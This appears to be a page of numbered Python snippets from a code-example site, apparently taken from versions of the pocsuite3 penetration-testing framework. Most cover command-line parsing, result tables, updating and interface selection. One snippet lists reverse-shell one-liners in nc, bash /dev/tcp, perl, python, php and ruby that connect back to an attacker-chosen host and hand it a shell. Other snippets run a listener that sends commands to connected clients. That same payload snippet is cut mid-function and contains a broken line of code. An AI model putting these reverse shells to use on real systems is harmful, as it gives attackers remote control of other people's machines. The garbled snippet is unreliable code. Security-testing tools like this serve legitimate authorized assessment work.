示例#1
0
 def __init__(self, filter):
     super().__init__()
     self.filter = "host %s" % filter
     self.daemon = True
     self.socket = None
     self.use_pcap = True
     self.is_admin = False
     logger.info(
         'Local network adapter information, choose a network you want to '
         'capture.')
     message = '----- Local IP Address -----\n'
     ifaces = []
     if WINDOWS:
         import ctypes
         from scapy.all import IFACES
         if ctypes.windll.shell32.IsUserAnAdmin():
             self.is_admin = True
         for i, iface in enumerate(sorted(IFACES)):
             dev = IFACES[iface]
             ifaces.append(dev.description)
             message += "{0}   {1}    {2}\n".format(i, dev.description,
                                                    dev.ip)
     else:
         if os.getuid() == 0:
             self.is_admin = True
         ifaces = get_if_list()
         for i, iface in enumerate(ifaces):
             ip = get_if_addr(iface)
             message += "{0}   {1}    {2}\n".format(i, iface, ip)
     data_to_stdout(message)
     choose = input('Choose>: ').strip()
     self.interface = ifaces[int(choose)]
     self.use_pcap = True
     self.stop_sniffer = Event()
     self.pcap = None
示例#2
0
def show_task_result():
    if conf.quiet:
        return

    if not kb.results:
        return

    if conf.mode == "shell":
        return

    results_table = PrettyTable(
        ["target-url", "poc-name", "poc-id", "component", "version", "status"])
    results_table.align["target-url"] = "l"
    results_table.padding_width = 1

    total_num, success_num = 0, 0
    for row in kb.results:
        results_table.add_row([
            row.target,
            row.poc_name,
            row.vul_id,
            row.app_name,
            row.app_version,
            row.status,
        ])
        total_num += 1
        if row.status == 'success':
            success_num += 1

    data_to_stdout('\n{0}'.format(
        results_table.get_string(sortby="status", reversesort=True)))
    data_to_stdout("\nsuccess : {} / {}\n".format(success_num, total_num))
示例#3
0
    def command_search(self, *args, **kwargs):
        keyword = args[0]

        if not keyword:
            logger.warning(
                "Please specify search keyword. e.g. 'search wordpress'")
            return

        tb = prettytable.PrettyTable()
        tb.field_names = ["Index", "Path"]

        search_result = []
        for module in self.main_modules_dirs:
            m = re.search(keyword, module, re.I | re.S)
            if m:
                search_result.append((module, m.group(0)))

        index = 0
        for s, k in search_result:
            tb.add_row(
                [index, "{}\033[31m{}\033[0m{}".format(*s.partition(k))])
            index = index + 1

        self.last_search = [i for i, j in search_result]
        data_to_stdout(tb.get_string())
        data_to_stdout("\n")
示例#4
0
 def command_help(self, *args, **kwargs):
     data_to_stdout(self.global_help)
     data_to_stdout("\n")
     if self.current_module:
         data_to_stdout("\n")
         data_to_stdout(self.module_help)
         data_to_stdout("\n")
示例#5
0
def handle_listener_connection():
    _ = ["list", "select", "exit", "quit", "clear"]
    auto_completion(AUTOCOMPLETE_TYPE.POCSUITE, commands=_)

    while True:
        cmd = None
        cmd = input('shell>: ').strip()
        if not cmd:
            continue
        elif cmd.lower() in ("?", "help"):
            print_cmd_help()
        elif cmd.lower() == "clear":
            clear_history()
            data_to_stdout("[i] history cleared\n")
            save_history(AUTOCOMPLETE_TYPE.POCSUITE)
        elif cmd.lower() in ("x", "q", "exit", "quit"):
            raise PocsuiteShellQuitException
        elif cmd == "list":
            list_clients()
        elif "select" in cmd:
            client = get_client(cmd)
            if client is not None:
                send_shell_commands(client)
        else:
            save_history(AUTOCOMPLETE_TYPE.POCSUITE)
            load_history(AUTOCOMPLETE_TYPE.POCSUITE)
            data_to_stdout("Command Not Found... type ? for help.")
示例#6
0
def list_clients():
    results = ''
    for i, client in enumerate(kb.data.clients):
        try:
            client.conn.send(str.encode('uname\n'))
            time.sleep(0.01)
            ret = client.conn.recv(2048)
            if ret:
                ret = ret.decode('utf-8', errors="ignore")
                system = "unknown"
                if "darwin" in ret.lower():
                    system = "Darwin"
                elif "linux" in ret.lower():
                    system = "Linux"
                elif "uname" in ret.lower():
                    system = "Windows"

        except Exception as ex:  # If a connection fails, remove it
            logger.exception(ex)
            del kb.data.clients[i]
            continue
        results += (str(i) + "   " +
                    (desensitization(client.address[0])
                     if conf.ppt else str(client.address[0])) + "    " +
                    str(client.address[1]) + " ({0})".format(system) + '\n')
    data_to_stdout("----- Remote Clients -----" + "\n" + results)
示例#7
0
def update():
    if not conf.update_all:
        return
    success = False
    if not os.path.exists(os.path.join(paths.POCSUITE_ROOT_PATH, "../",
                                       ".git")):
        warn_msg = "not a git repository. It is recommended to clone the 'knownsec/pocsuite3' repository "
        warn_msg += "from GitHub (e.g. 'git clone --depth 1 {} pocsuite3')".format(
            GIT_REPOSITORY)
        logger.warn(warn_msg)
        if VERSION == get_latest_revision():
            logger.info("already at the latest revision '{}'".format(
                get_revision_number()))
            return
    else:
        info_msg = "updating pocsuite3 to the latest development revision from the "
        info_msg += "GitHub repository"
        logger.info(info_msg)
        debug_msg = "pocsuite3 will try to update itself using 'git' command"
        logger.debug(debug_msg)
        data_to_stdout("\r[{0}] [INFO] update in progress ".format(
            time.strftime("%X")))
        cwd_path = os.path.join(paths.POCSUITE_ROOT_PATH, "../")
        try:
            process = subprocess.Popen(
                "git checkout . && git pull %s HEAD" % GIT_REPOSITORY,
                shell=True,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                cwd=cwd_path.encode(sys.getfilesystemencoding()
                                    or UNICODE_ENCODING))
            poll_process(process, True)
            stdout, stderr = process.communicate()
            success = not process.returncode
        except (IOError, OSError) as ex:
            success = False
            stderr = str(ex)
        if success:
            logger.info("{0} the latest revision '{1}'".format(
                "already at" if b"Already" in stdout else "updated to",
                get_revision_number()))
        else:
            if "Not a git repository" in stderr:
                err_msg = "not a valid git repository. Please checkout the 'knownsec/pocsuite3' repository "
                err_msg += "from GitHub (e.g. 'git clone --depth 1 %s pocsuite3')" % GIT_REPOSITORY
                logger.error(err_msg)
            else:
                logger.error("update could not be completed ('%s')" %
                             re.sub(r"\W+", " ", stderr).strip())
    if not success:
        if IS_WIN:
            info_msg = "for Windows platform it's recommended "
            info_msg += "to use a GitHub for Windows client for updating "
            info_msg += "purposes (http://windows.github.com/) or just "
            info_msg += "download the latest snapshot from "
            info_msg += "https://github.com/knownsec/pocsuite3/downloads"
        else:
            info_msg = "for Linux platform it's recommended "
            info_msg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
        logger.info(info_msg)
示例#8
0
 def _show_ip(self, *args, **kwargs):
     ips = get_local_ip(all=True)
     tb = prettytable.PrettyTable(["Index", "IP"])
     index = 0
     for item in ips:
         tb.add_row([str(index), item])
         index += 1
     data_to_stdout("\n" + tb.get_string() + "\n")
示例#9
0
def print_cmd_help():
    msg = "-----   Help Menu  -----\n"
    msg += "command      description\n"
    msg += "list         list connected clients\n"
    msg += "select       select which client to send command\n"
    msg += "quit         quit shell\n"
    msg += "help         print help information\n"
    data_to_stdout(msg)
示例#10
0
def get_client(cmd):
    try:
        target = cmd.replace("select ", "")
        target = int(target)
        client = kb.data.clients[target]  # Connect to the selected clients
        data_to_stdout("Now Connected: {0}\n".format(str(kb.data.clients[target].address[0])))
        return client
    except Exception:
        data_to_stdout("Invalid Client\n")
        return None
示例#11
0
def get_client(cmd):
    try:
        target = cmd.split(" ")[1]
        target = int(target)
        client = kb.data.clients[target]  # Connect to the selected clients
        data_to_stdout("Now Connected: {0}\n".format(
            desensitization(client.address[0] if conf.ppt else client.address[0])))
        return client
    except Exception:
        data_to_stdout("Invalid Client\n")
        return None
示例#12
0
def list_clients():
    results = ''
    for i, client in enumerate(kb.data.clients):
        try:
            client.conn.send(str.encode('pwd\n'))
            client.conn.recv(20480)
        except Exception:  # If a connection fails, remove it
            del kb.data.clients[i]
            continue
        results += str(i) + "   " + str(client.address[0]) + "    " + str(
            client.address[1]) + '\n'
    data_to_stdout("----- Remote Clients -----" + "\n" + results)
示例#13
0
def handle_listener_connection_for_console(wait_time=3, try_count=3):
    cmd = "select 0"
    client = get_client(cmd)
    if client is not None:
        f = send_shell_commands_for_console(client)
        if f:
            return

    if try_count > 0:
        time.sleep(wait_time)
        data_to_stdout("connect err remaining number of retries %s times\n" % (try_count))
        try_count -= 1
        return handle_listener_connection_for_console(wait_time=wait_time, try_count=try_count)
示例#14
0
def _set_connect_back():
    ips = get_local_ip(all=True)
    if ips:
        kb.data.local_ips = ips
    if conf.mode == "shell" and conf.connect_back_host is None:
        data_to_stdout(
            "[i] pocsusite is running in shell mode, you need to set connect back host:\n"
        )
        message = '----- Local IP Address -----\n'
        for i, ip in enumerate(kb.data.local_ips):
            message += "{0}    {1}\n".format(i, ip)
        data_to_stdout(message)
        while True:
            choose = None
            choose = input('Choose>: ').strip()
            if not choose:
                continue
            try:
                if choose.isdigit():
                    choose = int(choose)
                    conf.connect_back_host = kb.data.local_ips[choose]
                    data_to_stdout("you choose {0}\n".format(
                        conf.connect_back_host))
                    break
            except Exception:
                data_to_stdout("wrong number, choose again\n")
示例#15
0
def _set_connect_back():
    if conf.mode == "shell" and conf.connect_back_host is None:
        wan_ipv4 = get_host_ip()
        kb.data.local_ips = get_local_ip(all=True)
        data_to_stdout(
            "[i] pocsusite is running in shell mode, you need to set connect back host:\n"
        )
        message = '----- Local IP Address -----\n'
        for i, ip in enumerate(kb.data.local_ips):
            v = ip
            if conf.ppt:
                v = desensitization(v)
            if ip == wan_ipv4:
                v = colored(f'{v}    *wan*', 'green')
            message += "{0}    {1}\n".format(i, v)
        data_to_stdout(message)
        while True:
            choose = None
            choose = input('Choose>: ').strip()
            if not choose:
                continue
            try:
                if choose.isdigit():
                    choose = int(choose)
                    conf.connect_back_host = kb.data.local_ips[choose]
                    data_to_stdout("you choose {0}\n".format(
                        desensitization(conf.connect_back_host) if conf.
                        ppt else conf.connect_back_host))
                    break
            except Exception:
                data_to_stdout("wrong number, choose again\n")
示例#16
0
 def command_list(self, *args, **kwargs):
     # 展现所有可用的poc
     search_result = []
     tb = prettytable.PrettyTable(["Index", "Path", "Name"])
     index = 0
     for tmp_module in self.main_modules_dirs:
         found = os.path.join(paths.POCSUITE_ROOT_PATH, tmp_module + ".py")
         with open(found, encoding='utf-8') as f:
             code = f.read()
         name = get_poc_name(code)
         tb.add_row([str(index), tmp_module, name])
         search_result.append(tmp_module)
         index += 1
     data_to_stdout("\n" + tb.get_string() + "\n")
     self.last_search = search_result
示例#17
0
 def __init__(self, filter):
     super().__init__()
     self.filter = "host %s" % filter
     self.daemon = True
     self.socket = None
     self.use_pcap = True
     self.is_admin = False
     logger.info(
         "Local network adapter information, choose a network you want to capture"
     )
     if WINDOWS:
         iface = []
         import ctypes
         if ctypes.windll.shell32.IsUserAnAdmin():
             self.is_admin = True
         ips = get_local_ip(all=True)
         message = '----- Local IP Address -----\n'
         name = []
         interface_ips = []
         for iface_name in sorted(IFACES):
             if list(set(IFACES[iface_name].data['ips'])):
                 if list(set(IFACES[iface_name].data['ips']))[0] in ips:
                     name.append(IFACES[iface_name].data['name'])
                     interface_ips.append(
                         list(set(IFACES[iface_name].data['ips']))[0])
                     iface.append(IFACES[iface_name].data['description'])
         for i, ip in enumerate(interface_ips):
             message += "{0}   {1}    {2}\n".format(i, name[i], ip)
     else:
         if os.getuid() == 0:
             self.is_admin = True
         from pocsuite3.thirdparty.scapy.core import get_if_list, get_if_lists
         iface, ips = get_if_lists()
         message = '----- Local IP Address -----\n'
         for i, ip in enumerate(ips):
             message += "{0}   {1}    {2}\n".format(i, iface[i], ip)
     data_to_stdout(message)
     choose = input('Choose>: ').strip()
     self.interface = iface[int(choose)]
     self.use_pcap = conf.use_pcap
     self.stop_sniffer = Event()
     self.pcap = None
示例#18
0
def show_task_result():
    if conf.quiet:
        return

    if not kb.results:
        return

    if conf.mode == "shell":
        return

    fields = [
        "target-url", "poc-name", "poc-id", "component", "version", "status"
    ]
    if kb.comparison:
        fields.append("source")
        fields.append("honey-pot")
    results_table = PrettyTable(fields)
    results_table.align["target-url"] = "l"
    results_table.padding_width = 1

    total_num, success_num = 0, 0
    for row in kb.results:
        data = [
            row.target,
            row.poc_name,
            row.vul_id,
            row.app_name,
            row.app_version,
            row.status,
        ]
        if kb.comparison:
            source, honey = kb.comparison.getinfo(row.target)
            data.append(source)
            data.append(honey)
        results_table.add_row(data)
        total_num += 1
        if row.status == 'success':
            success_num += 1

    data_to_stdout('\n{0}'.format(
        results_table.get_string(sortby="status", reversesort=True)))
    data_to_stdout("\nsuccess : {} / {}\n".format(success_num, total_num))
示例#19
0
def send_shell_commands(client):
    auto_completion(AUTOCOMPLETE_TYPE.OS, OS.LINUX)
    while True:
        cmd = None
        try:
            address = client.address[0]
            cmd = input("{0}>: ".format(address))
            if not cmd:
                continue

            elif cmd.lower() == "clear":
                clear_history()
                data_to_stdout("[i] history cleared\n")
                save_history(AUTOCOMPLETE_TYPE.POCSUITE)

            elif cmd.lower() in ("x", "q", "exit", "quit", "bye"):
                break

            client.conn.send(str.encode(cmd + '\n'))

            resp = poll_cmd_execute(client)

            data_to_stdout(resp)

        except Exception as ex:
            logger.error(str(ex))
            data_to_stdout("Connection Lost\n")
            break
示例#20
0
def send_shell_commands_for_console(client):
    module_prompt_default_template = "\001\033[4m\002SHELL\001\033[0m\002 (\001\033[91m\002{hostname}\001\033[0m\002) > "
    while True:
        cmd = None
        try:
            address = client.address[0]
            cmd = input(module_prompt_default_template.format(hostname=address))
            if not cmd:
                continue

            elif cmd.lower() == "clear":
                clear_history()
                data_to_stdout("[i] history cleared\n")

            elif cmd.lower() in ("x", "q", "exit", "quit", "bye"):
                break

            client.conn.send(str.encode(cmd + '\n'))

            resp = poll_cmd_execute(client)

            data_to_stdout(resp)

        except Exception as ex:
            logger.error(str(ex))
            data_to_stdout("Connection Lost\n")
            break
    return True
示例#21
0
	def output(self):
		results_table = PrettyTable(["Search-engine", "Dork", "Total-data", "Success-rate", "Repetition-rate"])
		results_table.align["Search-engine"] = "c"
		results_table.padding_width = 1
		results = []
		for engine, item in self._statistics().items():
			dork = ""
			if engine in self.dork:
				dork = self.dork[engine]
			_result = [
				engine,
				dork,
				item["total"],
				"{0:.1f}%".format(item["success"] / item["total"] * 100),
				"{0:.1f}%".format(item["repetition"] / item["total"] * 100)
			]
			results.append(_result)
		
		for row in results:
			results_table.add_row(row)
		
		data_to_stdout('\n{0}\n'.format(results_table.get_string()))
示例#22
0
 def _show_info(self, *args, **kwargs):
     fields = ["name", "VulID", "version", "author", "vulDate", "createDate", "updateDate", "references",
               "appPowerLink", "appName", "appVersion", "vulType", "desc"]
     msg = ""
     for field in fields:
         value = getattr(self.current_module, field, None)
         if value:
             value = str(value).strip()
             # for name highlight
             if field == "name":
                 value = colored(value, "green")
             msg = msg + "%-20s %-10s\n" % (field, value)
     data_to_stdout("\n")
     data_to_stdout(msg)
     data_to_stdout("\n")
示例#23
0
def _show_pocs_modules_options():
    if not conf.show_options:
        return
    for module_name, poc_class in kb.registered_pocs.items():
        module_options = poc_class.options
        tb = prettytable.PrettyTable(
            ['Name', 'Current settings', 'Type', 'Description'])
        # add target option
        for name, opt in module_options.items():
            value = opt.value
            if opt.require and value == '':
                value = colored('*require*', 'red')
            tb.add_row([name, value, opt.type, opt.description])
        data_to_stdout(f'\nModule ({module_name}) options:\n')
        data_to_stdout(tb.get_string())
        data_to_stdout('\n')
    exit()
示例#24
0
文件: cli.py 项目: niuyuxuan/pocset
def main():
    """
    @function Main function of pocsuite when running from command line.
    """
    try:
        check_environment()
        set_paths(module_path())
        banner()

        init_options(cmd_line_parser().__dict__)

        data_to_stdout("[*] starting at {0}\n\n".format(time.strftime("%X")))
        init()
        try:
            start()
        except threading.ThreadError:
            raise

    except PocsuiteUserQuitException:
        pass

    except PocsuiteShellQuitException:
        pass

    except PocsuiteSystemException:
        pass

    except KeyboardInterrupt:
        pass

    except EOFError:
        pass

    except SystemExit:
        pass

    except Exception:
        exc_msg = traceback.format_exc()
        data_to_stdout(exc_msg)
        raise SystemExit

    finally:
        data_to_stdout("\n[*] shutting down at {0}\n\n".format(
            time.strftime("%X")))
示例#25
0
def poll_cmd_execute(client, timeout=8):
    if has_poll():
        p = select.poll()
        event_in_mask = select.POLLIN | select.POLLPRI
        event_err_mask = select.POLLERR
        event_closed_mask = select.POLLHUP | select.POLLNVAL
        event_mask = event_in_mask | event_err_mask | event_closed_mask
        p.register(client.conn, event_mask)
        count = 0
        ret = ''

        while True:
            events = p.poll(timeout)
            if events:
                event = events[0][1]
                if event & select.POLLERR:
                    ret = "Client Hung up\n"
                    break

                ready = event & select.POLLPRI or event & select.POLLIN
                if not ready:
                    ret = "execute command timeout\n"
                    break
                else:
                    ret += get_unicode(client.conn.recv(0x10000))
                    # ret += str(client.conn.recv(0x10000), "utf-8")
            else:
                if ret:
                    break
                elif count > timeout:
                    ret = "execute command timeout\n"
                    break
                else:
                    data_to_stdout(".")
                    time.sleep(1)
                    count += 1

        p.unregister(client.conn)
    else:
        count = 0
        ret = ''
        while True:
            ready = select.select([client.conn], [], [], 0.1)
            if ready[0]:
                ret += get_unicode(client.conn.recv(0x10000))
                # ret += str(client.conn.recv(0x10000), "utf-8")
            else:
                if ret:
                    break
                elif count > timeout:
                    ret = "execute command timeout\n"
                else:
                    data_to_stdout('.')
                    time.sleep(1)
                    count += 1

    if ret and not ret.startswith('\r'):
        ret = "\r{0}".format(ret)
    if ret and not ret.endswith('\n'):
        ret = "{0}\n".format(ret)

    return ret
示例#26
0
        elif cmd.lower() == "clear":
            clear_history()
            data_to_stdout("[i] history cleared\n")
            save_history(AUTOCOMPLETE_TYPE.POCSUITE)
        elif cmd.lower() in ("x", "q", "exit", "quit"):
            raise PocsuiteShellQuitException
        elif cmd == "list":sel
            list_clients()
        elif "select" in cmd:
            client = get_client(cmd)
            if client is not None:
                send_shell_commands(client)
        else:
            save_history(AUTOCOMPLETE_TYPE.POCSUITE)
            load_history(AUTOCOMPLETE_TYPE.POCSUITE)
            data_to_stdout("Command Not Found... type ? for help.")


class REVERSE_PAYLOAD:
    NC = """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f"""
    NC2 = """nc -e /bin/sh {0} {1}"""
    NC3 = """rm -f /tmp/p;mknod /tmp/p p && nc {0} {1} 0/tmp/p"""
    BASH = """sh -i >& /dev/tcp/{0}/{1} 0>&1"""
    BASH2 = """sh -i >& /dev/tcp/{0}/{1} 0>&1"""
    TELNET = """rm -f /tmp/p; mknod /tmp/p p && telnet {0} {1} 0/tmp/p"""
    PERL = """perl -e 'use Socket;$i="{0}";$p={1};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};'"""
    PYTHON = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
    PHP = """php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'"""
    RUBY = """ruby -rsocket -e'f=TCPSocket.open("{0}",{1}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'"""
    JAVA = """
    r = Runtime.getRuntime()
示例#27
0
def cmd_line_parser(argv=None):
    """
    This function parses the command line parameters and arguments
    """

    if not argv:
        argv = sys.argv

    _ = os.path.basename(argv[0])
    usage = "pocsuite [options]"
    parser = argparse.ArgumentParser(prog='Pocsuite3', usage=usage)
    try:
        parser.add_argument("--version",
                            dest="show_version",
                            action="store_true",
                            help="Show program's version number and exit")

        parser.add_argument("--update",
                            dest="update_all",
                            action="store_true",
                            help="Update Pocsuite")

        parser.add_argument("-v",
                            dest="verbose",
                            type=int,
                            default=1,
                            choices=list(range(7)),
                            help="Verbosity level: 0-6 (default 1)")

        # Target options
        target = parser.add_argument_group(
            'Target', "At least one of these "
            "options has to be provided to define the target(s)")
        target.add_argument(
            "-u",
            "--url",
            dest="url",
            nargs='+',
            help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")")

        target.add_argument(
            "-f",
            "--file",
            dest="url_file",
            help="Scan multiple targets given in a textual file")
        target.add_argument(
            "-r",
            dest="poc",
            nargs='+',
            help="Load POC file from local or remote from seebug website")
        target.add_argument("-c",
                            dest="configFile",
                            help="Load options from a configuration INI file")

        # Mode options
        mode = parser.add_argument_group("Mode",
                                         "Pocsuite running mode options")

        mode.add_argument("--verify",
                          dest="mode",
                          default='verify',
                          action="store_const",
                          const='verify',
                          help="Run poc with verify mode")

        mode.add_argument("--attack",
                          dest="mode",
                          action="store_const",
                          const='attack',
                          help="Run poc with attack mode")
        mode.add_argument("--shell",
                          dest="mode",
                          action="store_const",
                          const='shell',
                          help="Run poc with shell mode")
        # Requests options
        request = parser.add_argument_group("Request",
                                            "Network request options")
        request.add_argument("--cookie",
                             dest="cookie",
                             help="HTTP Cookie header value")
        request.add_argument("--host",
                             dest="host",
                             help="HTTP Host header value")
        request.add_argument("--referer",
                             dest="referer",
                             help="HTTP Referer header value")
        request.add_argument("--user-agent",
                             dest="agent",
                             help="HTTP User-Agent header value")
        request.add_argument(
            "--random-agent",
            dest="random_agent",
            action="store_true",
            default=False,
            help="Use randomly selected HTTP User-Agent header value")
        request.add_argument("--proxy",
                             dest="proxy",
                             help="Use a proxy to connect to the target URL")
        request.add_argument(
            "--proxy-cred",
            dest="proxy_cred",
            help="Proxy authentication credentials (name:password)")
        request.add_argument(
            "--timeout",
            dest="timeout",
            help="Seconds to wait before timeout connection (default 30)")
        request.add_argument("--retry",
                             dest="retry",
                             default=False,
                             help="Time out retrials times.")
        request.add_argument("--delay",
                             dest="delay",
                             help="Delay between two request of one thread")
        request.add_argument(
            "--headers",
            dest="headers",
            help="Extra headers (e.g. \"key1: value1\\nkey2: value2\")")
        # Account options
        group = parser.add_argument_group(
            "Account", "Telnet404、Shodan、CEye、Fofa account options")
        group.add_argument("--login-user",
                           dest="login_user",
                           help="Telnet404 login user")
        group.add_argument("--login-pass",
                           dest="login_pass",
                           help="Telnet404 login password")
        group.add_argument("--shodan-token",
                           dest="shodan_token",
                           help="Shodan token")
        group.add_argument("--fofa-user", dest="fofa_user", help="fofa user")
        group.add_argument("--fofa-token",
                           dest="fofa_token",
                           help="fofa token")
        group.add_argument("--quake-token",
                           dest="quake_token",
                           help="quake token")
        group.add_argument("--censys-uid",
                           dest="censys_uid",
                           help="Censys uid")
        group.add_argument("--censys-secret",
                           dest="censys_secret",
                           help="Censys secret")
        # Modules options
        modules = parser.add_argument_group(
            "Modules",
            "Modules(Seebug、Zoomeye、CEye、Fofa、Quake Listener) options")
        modules.add_argument("--dork",
                             dest="dork",
                             action="store",
                             default=None,
                             help="Zoomeye dork used for search.")
        modules.add_argument("--dork-zoomeye",
                             dest="dork_zoomeye",
                             action="store",
                             default=None,
                             help="Zoomeye dork used for search.")
        modules.add_argument("--dork-shodan",
                             dest="dork_shodan",
                             action="store",
                             default=None,
                             help="Shodan dork used for search.")
        modules.add_argument("--dork-censys",
                             dest="dork_censys",
                             action="store",
                             default=None,
                             help="Censys dork used for search.")
        modules.add_argument("--dork-fofa",
                             dest="dork_fofa",
                             action="store",
                             default=None,
                             help="Fofa dork used for search.")
        modules.add_argument("--dork-quake",
                             dest="dork_quake",
                             action="store",
                             default=None,
                             help="Quake dork used for search.")
        modules.add_argument(
            "--max-page",
            dest="max_page",
            type=int,
            default=1,
            help="Max page used in ZoomEye API(10 targets/Page).")
        modules.add_argument(
            "--search-type",
            dest="search_type",
            action="store",
            default='host',
            help="search type used in ZoomEye API, web or host")
        modules.add_argument("--vul-keyword",
                             dest="vul_keyword",
                             action="store",
                             default=None,
                             help="Seebug keyword used for search.")
        modules.add_argument("--ssv-id",
                             dest="ssvid",
                             action="store",
                             default=None,
                             help="Seebug SSVID number for target PoC.")
        modules.add_argument(
            "--lhost",
            dest="connect_back_host",
            action="store",
            default=None,
            help="Connect back host for target PoC in shell mode")
        modules.add_argument(
            "--lport",
            dest="connect_back_port",
            action="store",
            default=None,
            help="Connect back port for target PoC in shell mode")
        modules.add_argument("--comparison",
                             dest="comparison",
                             help="Compare popular web search engines",
                             action="store_true",
                             default=False)
        modules.add_argument("--dork-b64",
                             dest="dork_b64",
                             help="Whether dork is in base64 format",
                             action="store_true",
                             default=False)

        # Optimization options
        optimization = parser.add_argument_group("Optimization",
                                                 "Optimization options")
        optimization.add_argument("--plugins",
                                  dest="plugins",
                                  action="store",
                                  default=None,
                                  help="Load plugins to execute")
        optimization.add_argument("--pocs-path",
                                  dest="pocs_path",
                                  action="store",
                                  default=None,
                                  help="User defined poc scripts path")
        optimization.add_argument(
            "--threads",
            dest="threads",
            type=int,
            default=1,
            help="Max number of concurrent network requests (default 1)")
        optimization.add_argument(
            "--batch",
            dest="batch",
            help="Automatically choose defaut choice without asking.")
        optimization.add_argument("--requires",
                                  dest="check_requires",
                                  action="store_true",
                                  default=False,
                                  help="Check install_requires")
        optimization.add_argument(
            "--quiet",
            dest="quiet",
            action="store_true",
            default=False,
            help="Activate quiet mode, working without logger.")
        optimization.add_argument(
            "--ppt",
            dest="ppt",
            action="store_true",
            default=False,
            help="Hiden sensitive information when published to the network")
        optimization.add_argument("--pcap",
                                  dest="pcap",
                                  action="store_true",
                                  default=False,
                                  help="use scapy capture flow")
        optimization.add_argument(
            "--rule",
            dest="rule",
            action="store_true",
            default=False,
            help="export rules, default export reqeust and response")
        optimization.add_argument("--rule-req",
                                  dest="rule_req",
                                  action="store_true",
                                  default=False,
                                  help="only export request rule")
        optimization.add_argument(
            "--rule-filename",
            dest="rule_filename",
            action="store",
            default=False,
            help="Specify the name of the export rule file")
        # Diy options
        diy = parser.add_argument_group("Poc options",
                                        "definition options for PoC")

        for line in argv:
            if line.startswith("--"):
                if line[2:] not in CMD_PARSE_WHITELIST:
                    diy.add_argument(line)

        args = parser.parse_args()
        if not any(
            (args.url, args.url_file, args.update_all, args.plugins, args.dork,
             args.dork_shodan, args.dork_fofa, args.dork_quake,
             args.dork_censys, args.dork_zoomeye, args.configFile,
             args.show_version)) and not args.rule and not args.rule_req:
            err_msg = "missing a mandatory option (-u, --url-file, --update). "
            err_msg += "Use -h for basic and -hh for advanced help\n"
            parser.error(err_msg)

        return args

    except SystemExit:
        # Protection against Windows dummy double clicking
        if IS_WIN:
            data_to_stdout("\nPress Enter to continue...")
            input()
        raise
示例#28
0
    def _show_options(self, *args, **kwargs):
        global_options = self.current_module.global_options
        module_options = self.current_module.options
        payload_options = self.current_module.payload_options

        tb2 = prettytable.PrettyTable(
            ["Name", "Current settings", "Type", "Descript"])
        for name, opt in global_options.items():
            value = opt.value
            if opt.require and value == "":
                value = colored("*require*", "red")
            tb2.add_row([name, value, opt.type, opt.description])
        data_to_stdout("\nTarget options:\n")
        data_to_stdout(tb2.get_string())
        data_to_stdout("\n")

        if module_options:
            tb = prettytable.PrettyTable(
                ["Name", "Current settings", "Type", "Descript"])
            # add target option
            for name, opt in module_options.items():
                value = opt.value
                if opt.require and value == "":
                    value = colored("*require*", "red")
                tb.add_row([name, value, opt.type, opt.description])
            data_to_stdout("\nModule options:\n")
            data_to_stdout(tb.get_string())
            data_to_stdout("\n")

        # exploit payload
        if payload_options:
            tb3 = prettytable.PrettyTable(
                ["Name", "Current settings", "Type", "Descript"])
            for name, opt in payload_options.items():
                value = opt.value
                if opt.require and value == "":
                    value = colored("*require*", "red")
                tb3.add_row([name, value, opt.type, opt.description])
            data_to_stdout("\nExploit payloads(using reverse tcp):\n")
            data_to_stdout(tb3.get_string())
            data_to_stdout("\n")

        data_to_stdout("\n")
示例#29
0
def cmd_line_parser(argv=None):
    """
    This function parses the command line parameters and arguments
    """

    if not argv:
        argv = sys.argv

    _ = os.path.basename(argv[0])
    usage = "pocsuite [options]"
    parser = OptionParser(usage=usage)
    try:
        parser.add_option("--version",
                          dest="show_version",
                          action="store_true",
                          help="Show program's version number and exit")

        parser.add_option("--update",
                          dest="update_all",
                          action="store_true",
                          help="Update Pocsuite")

        parser.add_option("-v",
                          dest="verbose",
                          type="int",
                          default=1,
                          help="Verbosity level: 0-6 (default 1)")

        # Target options
        target = OptionGroup(
            parser, "Target", "At least one of these "
            "options has to be provided to define the target(s)")
        target.add_option(
            "-u",
            "--url",
            dest="url",
            help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")")

        target.add_option("-f",
                          "--file",
                          dest="url_file",
                          help="Scan multiple targets given in a textual file")
        target.add_option(
            "-r",
            dest="poc",
            help="Load POC file from local or remote from seebug website")
        # Mode options
        mode = OptionGroup(parser, "Mode", "Pocsuite running mode options")

        mode.add_option("--verify",
                        dest="mode",
                        default='verify',
                        action="store_const",
                        const='verify',
                        help="Run poc with verify mode")

        mode.add_option("--attack",
                        dest="mode",
                        action="store_const",
                        const='attack',
                        help="Run poc with attack mode")
        mode.add_option("--shell",
                        dest="mode",
                        action="store_const",
                        const='shell',
                        help="Run poc with shell mode")
        # Requests options
        request = OptionGroup(parser, "Request", "Network request options")
        request.add_option("--cookie",
                           dest="cookie",
                           help="HTTP Cookie header value")
        request.add_option("--host",
                           dest="host",
                           help="HTTP Host header value")
        request.add_option("--referer",
                           dest="referer",
                           help="HTTP Referer header value")
        request.add_option("--user-agent",
                           dest="agent",
                           help="HTTP User-Agent header value")
        request.add_option(
            "--random-agent",
            dest="random_agent",
            action="store_true",
            default=False,
            help="Use randomly selected HTTP User-Agent header value")
        request.add_option("--proxy",
                           dest="proxy",
                           help="Use a proxy to connect to the target URL")
        request.add_option(
            "--proxy-cred",
            dest="proxy_cred",
            help="Proxy authentication credentials (name:password)")
        request.add_option(
            "--timeout",
            dest="timeout",
            help="Seconds to wait before timeout connection (default 30)")
        request.add_option("--retry",
                           dest="retry",
                           default=False,
                           help="Time out retrials times.")
        request.add_option("--delay",
                           dest="delay",
                           help="Delay between two request of one thread")
        request.add_option(
            "--headers",
            dest="headers",
